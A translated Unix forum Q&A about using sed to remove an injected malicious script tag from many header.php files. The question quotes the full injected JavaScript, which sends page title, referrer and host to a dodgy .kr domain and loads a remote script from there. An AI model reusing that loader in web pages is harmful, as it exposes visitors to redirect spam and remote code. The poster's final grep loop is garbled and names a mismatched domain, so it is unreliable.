Shell

如何使用 sed 從文本文件中刪除腳本標籤

  • January 15, 2016

我有許多 header.php 文件,其中包含惡意腳本標記(不要問)。我編寫了一個不太優雅的 shell 腳本來用空格替換它們。我最初試圖從 header.php 中減去有效負載,但這似乎不可能,因為該文件不是排序列表。下面是我的程式碼:

echo 'Find all header.php files'
find -name header.php -print0 > tempheader
echo 'Remove malware script from headers'
cat tempheader | xargs -0 sed -i 's/\<script\>var a=''; setTimeout(10); var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.referrer); var host = encodeURIComponent(window.location.host); var base = "http:\/\/someplacedodgy.kr\/js\/jquery.min.php"; var n_url = base + "?default_keyword=" + default_keyword + "\&se_referrer=" + se_referrer + "\&source=" + host; var f_url = base + "?c_utt=snt2014\&c_utm=" + encodeURIComponent(n_url); if (default_keyword !== null \&\& default_keyword !== '' \&\& se_referrer !== null \&\& se_referrer !== ''){document.write('\<script type="text\/javascript" src="' + f_url + '"\>' + '\<' + '\/script\>');}\<\/script\>/ /g'

問題是此程式碼無法執行並出現錯誤:sed: -e expression #1, char 578: unterminateds’command`。我的假設是有未轉義的字元導致此問題,我嘗試轉義所有 <> 和 {},但這似乎沒有幫助(注意 <> 仍然在上面轉義)。

如果有一種方法可以將包含字元串的文件輸入到 sed 中,就像sed -i 's/$payload/ /g'我還不能解決這個問題一樣。

如果正如您的回答所說,有效負載本身在一行上,這將執行此操作,同時創建已更改文件的備份:

find -name header.php -exec sed -i.bak '/someplacedodgy\.kr\/js\/jquery.min.php/d' {} \; -ls

只需確保“someplacedodgy”字元串對於有效載荷行是唯一的。

如果您希望跳過備份,請忽略 -i.bak 中的 .bak。

我為這個問題制定了一個更簡單的解決方案,因為字元串本身包含在一行中。

while read HEADER 
do cat $HEADER | grep -vw "somewheredodgy.kr/js/jquery.min.php"; &gt; modifiedheader 
cp modifiedheader $HEADER 
done &lt; tempheader

引用自:https://unix.stackexchange.com/questions/255017